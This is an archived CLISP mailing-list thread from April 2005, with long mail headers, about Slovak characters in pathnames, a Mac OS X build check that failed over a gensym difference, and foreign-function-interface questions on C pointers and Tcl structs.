Apr 2005 14:25:46 -0400 To: clisp-list@lists.sourceforge.net, Pavlica Stanislav Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <425803DF.5030504@pavlica.sk> (Pavlica Stanislav's message of "Sat, 09 Apr 2005 18:33:35 +0200") References: <425803DF.5030504@pavlica.sk> Mail-Followup-To: clisp-list@lists.sourceforge.net, Pavlica Stanislav Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: slovak characters in pathnames Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 9 11:26:11 2005 X-Original-Date: Sat, 09 Apr 2005 14:25:12 -0400 > * Pavlica Stanislav [2005-04-09 18:33:35 +0200]: > > CLISP: 2.33 (2004-03-17) (built on winsteingoldlap [10.0.61.31]) > OS: Microsoft Windows 98, second edition, 4.10.2222A (slovak version) > FILESYSTEM: FAT32 > > I have a problem with slovak characters in pathnames. > > evaluate: > (directory "e:\\sto=C5=BEiar\\") > > error: > ** - Continuable Error > PARSE-NAMESTRING: syntax error in filename "e:\\sto=C5=BEiar\\" at positi= on 6 > > (character "=C5=BE") > #\LATIN_SMALL_LETTER_Z_WITH_CARON please check that *terminal-encoding* and *pathname-encoding* support slovak characters. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k If You Want Breakfast In Bed, Sleep In the Kitchen. From sds@gnu.org Sat Apr 09 12:10:00 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DKLLE-00068x-0i for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 12:10:00 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DKLLB-0005dI-Ew for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 12:09:59 -0700 Received: from 65-78-14-94.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.14.94) by smtp04.mrf.mail.rcn.net with ESMTP; 09 Apr 2005 15:09:49 -0400 To: clisp-list@lists.sourceforge.net, Lars Rosengreen Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <856e3263f033bea2826f8f0c851a24bb@margay.org> (Lars Rosengreen's message of "Sat, 9 Apr 2005 11:03:33 -0700") References: <3e4da9c38d018413fcfdc613b71741e1@margay.org> <856e3263f033bea2826f8f0c851a24bb@margay.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Lars Rosengreen , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp cvs build fails for me on mac osx 10.3.8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 9 12:10:05 2005 X-Original-Date: Sat, 09 Apr 2005 15:09:16 -0400 > * Lars Rosengreen [2005-04-09 11:03:33 -0700]: > > cmp -s condition.fas stage/condition.fas || (echo "Test failed." ; > exit 1) > Test failed. > make: *** [check-recompile] Error 1 > > I have put a complete copy of the build log here: > http://www.margay.org/~lars/clisp-build.log.gz > > this is with: > cvs as of Thu Apr 7 10:23:16 PDT > Mac OS X 10.3.8 > gcc version 3.3 20030304 (Apple Computer, Inc. build 1671 confirmed: $ diff -U 20 condition.fas stage/condition.fas --- condition.fas 2005-04-06 12:34:40.665644800 -0400 +++ stage/condition.fas 2005-04-09 14:59:16.631678400 -0400 @@ -2781,26 +2781,26 @@ #Y(|EXT|::|SET-GLOBAL-HANDLER-1| #20Y(00 00 00 00 01 00 00 00 00 02 2A 14 6D 01 01 64 61 02 19 02) (|COMMON-LISP|::|NIL| |COMMON-LISP|::|NIL| |COMMON-LISP|::|NIL|) |COMMON-LISP|::|NIL| #Y(|EXT|::|SET-GLOBAL-HANDLER-1-1| #60Y(03 00 01 00 01 00 00 00 00 02 01 02 69 00 01 63 70 01 9F 10 02 A1 10 03 53 0F 69 00 02 B9 36 01 54 05 00 00 06 1D 10 1B 06 05 00 00 06 1D 08 99 04 67 00 00 06 30 05 55 12 02 19 05) (|COMMON-LISP|::|T| |COMMON-LISP|::|T| |COMMON-LISP|::|T|) |COMMON-LISP|::|NIL| |EXT|::|SET-GLOBAL-HANDLER| |CLOS|::|*GF-WARN-ON-REPLACING-METHOD*| |CLOS|::|*WARN-IF-GF-ALREADY-CALLED*| |SYSTEM|::|GLOBAL-HANDLER| |CLOS|::|ADD-METHOD|)) :|QUALIFIERS| (|COMMON-LISP|::|PROGN|) :|LAMBDA-LIST| (|COMMON-LISP|::|CONDITION|) |CLOS|::|SIGNATURE| #(1. 0. |COMMON-LISP|::|NIL| |COMMON-LISP|::|NIL| |COMMON-LISP|::|NIL| |COMMON-LISP|::|NIL|) :|SPECIALIZERS| |CLOS|::|DO-DEFMETHOD| |CLOS|::|ADD-METHOD| |CLOS|::|GENERIC-FUNCTION-METHODS| (#1=#.(|COMMON-LISP|::|FUNCALL| - #Y(#:|CREATE-INSTANCE-OF--6408| + #Y(#:|CREATE-INSTANCE-OF--4905| #17Y(00 00 00 00 00 00 00 00 00 01 64 38 02 32 2A 19 01) (|COMMON-LISP|::|T| |COMMON-LISP|::|T| |COMMON-LISP|::|T|)))) |CLOS|::|METHOD-SPECIALIZERS| |CLOS|::|REMOVE-METHOD| (|COMMON-LISP|::|PROGN|) |CLOS|::|FIND-METHOD| "~S(~S ~S): invalid arguments" |EXT|::|SET-GLOBAL-HANDLER|)) As one can see, the difference is in a gensym number. everything should work fine, do not worry. try this: $ touch condition.lisp $ make check Bruno, how should this be handled in general? -- Sam Steingold (http://www.podval.org/~sds) running w2k You think Oedipus had a problem -- Adam was Eve's mother. From sds@gnu.org Sat Apr 09 13:13:12 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DKMKN-0000KM-P9 for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 13:13:11 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DKMKL-0007RK-4H for clisp-list@lists.sourceforge.net; Sat, 09 Apr 2005 13:13:11 -0700 Received: from 65-78-14-94.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.14.94) by smtp04.mrf.mail.rcn.net with ESMTP; 09 Apr 2005 16:13:08 -0400 To: clisp-list@lists.sourceforge.net, Lars Rosengreen Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <856e3263f033bea2826f8f0c851a24bb@margay.org> (Lars Rosengreen's message of "Sat, 9 Apr 2005 11:03:33 -0700") References: <3e4da9c38d018413fcfdc613b71741e1@margay.org> <856e3263f033bea2826f8f0c851a24bb@margay.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Lars Rosengreen Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp cvs build fails for me on mac osx 10.3.8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 9 13:13:27 2005 X-Original-Date: Sat, 09 Apr 2005 16:12:35 -0400 > * Lars Rosengreen [2005-04-09 11:03:33 -0700]: > > cmp -s condition.fas stage/condition.fas || (echo "Test failed." ; > exit 1) > Test failed. > make: *** [check-recompile] Error 1 fixed in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running w2k Profanity is the one language all programmers know best. From kavenchuk@jenty.by Mon Apr 11 02:01:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DKunX-0007iD-Bl for clisp-list@lists.sourceforge.net; Mon, 11 Apr 2005 02:01:35 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DKunF-0000IL-FW for clisp-list@lists.sourceforge.net; Mon, 11 Apr 2005 02:01:35 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 22VVCSZ3; Mon, 11 Apr 2005 11:47:48 +0300 Message-ID: <425A3925.6070406@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: newbie ffi question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 11 02:01:45 2005 X-Original-Date: Mon, 11 Apr 2005 11:45:25 +0300 Sam Steingold: > It appears that you need to make your function return a > (c-pointer tcl-ffi:Tcl-Interp) Yes! It that is necessary! Thanks! > > sorry that it took me so long to figure this out. > Excuse, that me for a long time reaches... Next a question: foreign function return pointer of structure: typedef struct { char *result; Tcl_FreeProc *freeProc; int errorLine; } Tcl_Interp; Now I defined: (ffi:def-c-struct Tcl-Interp (result ffi:c-string) (freeProc *Tcl-FreeProc) (errorLine ffi:int)) (ffi:def-c-type *Tcl-Interp (ffi:c-pointer Tcl-Interp)) (ffi:def-call-out ... (:return-type *Tcl-Interp)... That is work. But the pointer of field "result" is necessary for a call of function "freeProc" if pointer of function is not nil. How to receive not only value of a field "result", but also the pointer of it? Excuse if not it is understandable. Thanks. -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Mon Apr 11 05:30:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DKy3g-00049u-GJ for clisp-list@lists.sourceforge.net; Mon, 11 Apr 2005 05:30:28 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DKy3f-0006Uo-UF for clisp-list@lists.sourceforge.net; Mon, 11 Apr 2005 05:30:28 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 22VVCTH6; Mon, 11 Apr 2005 15:33:28 +0300 Message-ID: <425A6E0A.4080804@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] source files of modules in distrib Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 11 05:32:38 2005 X-Original-Date: Mon, 11 Apr 2005 15:31:06 +0300 clisp from CVS head, mingw "make distrib" append in archive *.lisp files of clisp but not include *.lisp files of built modules. Why? Thanks for your excellent work! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Apr 11 07:20:03 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DKzli-0003Ay-RV for clisp-list@lists.sourceforge.net; Mon, 11 Apr 2005 07:20:02 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DKzlg-0003Zh-5l for clisp-list@lists.sourceforge.net; Mon, 11 Apr 2005 07:20:02 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3BEHP6Y028499; Mon, 11 Apr 2005 10:17:25 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Cc: Joerg-Cyril.Hoehle@t-systems.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <425A3925.6070406@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 11 Apr 2005 11:45:25 +0300") References: <425A3925.6070406@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk , Joerg-Cyril.Hoehle@t-systems.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: newbie ffi question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 11 07:20:10 2005 X-Original-Date: Mon, 11 Apr 2005 10:18:54 -0400 > * Yaroslav Kavenchuk [2005-04-11 11:45:25 +0300]: > > Next a question: "the next question" > foreign function return pointer of structure: > > typedef struct { > char *result; > Tcl_FreeProc *freeProc; > int errorLine; > } Tcl_Interp; > > Now I defined: > > (ffi:def-c-struct Tcl-Interp > (result ffi:c-string) > (freeProc *Tcl-FreeProc) > (errorLine ffi:int)) > > (ffi:def-c-type *Tcl-Interp (ffi:c-pointer Tcl-Interp)) > > (ffi:def-call-out ... > (:return-type *Tcl-Interp)... > > That is work. But the pointer of field "result" is necessary for a > call of function "freeProc" if pointer of function is not nil. > > How to receive not only value of a field "result", but also the > pointer of it? there might be a more efficient way, but this is all I could come up with in 1 minute. Jorg? -- Sam Steingold (http://www.podval.org/~sds) running w2k Life is like a diaper -- short and loaded. From kavenchuk@jenty.by Mon Apr 11 08:30:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DL0ru-0007EI-TQ for clisp-list@lists.sourceforge.net; Mon, 11 Apr 2005 08:30:30 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DL0rs-0003hh-8c for clisp-list@lists.sourceforge.net; Mon, 11 Apr 2005 08:30:30 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 22VVCTRV; Mon, 11 Apr 2005 18:33:34 +0300 Message-ID: <425A9840.5090809@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Joerg-Cyril.Hoehle@t-systems.com References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: newbie ffi question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 11 08:30:42 2005 X-Original-Date: Mon, 11 Apr 2005 18:31:12 +0300 Sam Steingold: >>Next a question: > > "the next question" Excuse. Thanks. >>foreign function return pointer of structure: >> >>typedef struct { >>char *result; >>Tcl_FreeProc *freeProc; >>int errorLine; >>} Tcl_Interp; >> >>Now I defined: >> >>(ffi:def-c-struct Tcl-Interp >> (result ffi:c-string) >> (freeProc *Tcl-FreeProc) >> (errorLine ffi:int)) >> >>(ffi:def-c-type *Tcl-Interp (ffi:c-pointer Tcl-Interp)) >> >>(ffi:def-call-out ... >> (:return-type *Tcl-Interp)... >> >>That is work. But the pointer of field "result" is necessary for a >>call of function "freeProc" if pointer of function is not nil. >> >>How to receive not only value of a field "result", but also the >>pointer of it? > > > > > there might be a more efficient way, but this is all I could come up > with in 1 minute. Such combination gives the result necessary to me? [4]> (setq interp (tcl-ffi:Tcl-CreateInterp)) # [17]> (ffi:foreign-value interp) #S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0) [23]> (ffi:offset (ffi:foreign-value interp) 0 'ffi:c-pointer) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ How from # to receive # any type? Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Apr 11 09:28:01 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DL1lY-0001p6-QR for clisp-list@lists.sourceforge.net; Mon, 11 Apr 2005 09:28:00 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DL1lW-0001hj-7D for clisp-list@lists.sourceforge.net; Mon, 11 Apr 2005 09:28:00 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3BGPcTY016730; Mon, 11 Apr 2005 12:25:42 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <425A9840.5090809@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 11 Apr 2005 18:31:12 +0300") References: <425A9840.5090809@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: newbie ffi question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 11 09:28:30 2005 X-Original-Date: Mon, 11 Apr 2005 12:27:07 -0400 > * Yaroslav Kavenchuk [2005-04-11 18:31:12 +0300]: > > How from # to receive # any type? we have been through this last week. with-c-var &c. -- Sam Steingold (http://www.podval.org/~sds) running w2k Let us remember that ours is a nation of lawyers and order. From lars@margay.org Mon Apr 11 15:17:13 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DL7DT-0003sz-Jg for clisp-list@lists.sourceforge.net; Mon, 11 Apr 2005 15:17:11 -0700 Received: from margay.org ([70.85.31.25]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DL7DS-0004Tx-0O for clisp-list@lists.sourceforge.net; Mon, 11 Apr 2005 15:17:11 -0700 Received: from [10.0.2.2] (ACC3B7B7.ipt.aol.com [::ffff:172.195.183.183]) (AUTH: LOGIN lars, SSL: TLSv1/SSLv3,128bits,RC4-SHA) by margay.org with esmtp; Mon, 11 Apr 2005 15:16:57 -0700 id 00096B6D.425AF75A.00000E69 Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: References: <3e4da9c38d018413fcfdc613b71741e1@margay.org> <856e3263f033bea2826f8f0c851a24bb@margay.org> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Lars Rosengreen Subject: Re: [clisp-list] Re: clisp cvs build fails for me on mac osx 10.3.8 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 11 15:24:35 2005 X-Original-Date: Mon, 11 Apr 2005 14:35:20 -0700 On Apr 9, 2005, at 1:12 PM, Sam Steingold wrote: >> * Lars Rosengreen [2005-04-09 11:03:33 -0700]: >> >> cmp -s condition.fas stage/condition.fas || (echo "Test failed." ; >> exit 1) >> Test failed. >> make: *** [check-recompile] Error 1 > > fixed in the CVS. make check passes now with no unexpected failures. Thank you very much! -Lars > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Profanity is the one language all programmers know best. > > > ------------------------------------------------------- > SF email is sponsored by - The IT Product Guide > Read honest & candid reviews on hundreds of IT Products from real > users. > Discover which products truly live up to the hype. Start reading now. > http://ads.osdn.com/?ad_id=6595&alloc_id=14396&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > -- Lars Rosengreen http://www.margay.org/~lars From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 12 03:07:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DLIIv-0005xe-Tf for clisp-list@lists.sourceforge.net; Tue, 12 Apr 2005 03:07:33 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DLIIv-0006bR-7M for clisp-list@lists.sourceforge.net; Tue, 12 Apr 2005 03:07:33 -0700 Received: from g8pbr.blf01.telekom.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 12 Apr 2005 12:07:14 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2X8LTYRP>; Tue, 12 Apr 2005 12:07:22 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0303E3AB7B@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com Subject: [clisp-list] ffi:c-ptr / ffi:c-ptr-null have strictly no effect? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 12 03:08:01 2005 X-Original-Date: Tue, 12 Apr 2005 12:07:15 +0200 Hi, [sorry for not being able to answer questions here earlier. I was just = away.] Pascal Bourguignon writes: >It seems that: > (ffi:with-c-var (d '(ffi:c-ptr-null susv3:dirent) ...) ...) >has the same effect as: > (ffi:with-c-var (d 'susv3:dirent ...) ...) Not at all. The C-level structure laid out in memory has one more = pointer indirection. However, consider (with-c-var (p '(c-ptr (c-ptr c-string)) "abc") p) -> "abc" (with-c-var (p 'c-string "abc") p) -> "abc" That is, the Lisp side does not see ptr to ptr to ptr. It only sees the = objects resulting from conversion. (C-PTR X) is converted to the same = Lisp object as X is (and recursively). >COM.INFORMATIMAGO.SUSV3.DIRENT[69]>=20 >(DEFUN READDIR (DIR-STREAM) > (ffi:with-c-var (d 'susv3:dirent > (FFI:UNSIGNED-FOREIGN-ADDRESS This cannot work. WITH-C-VAR expects a foreign object of the correct = type, and you supply an (untyped) pointer. > 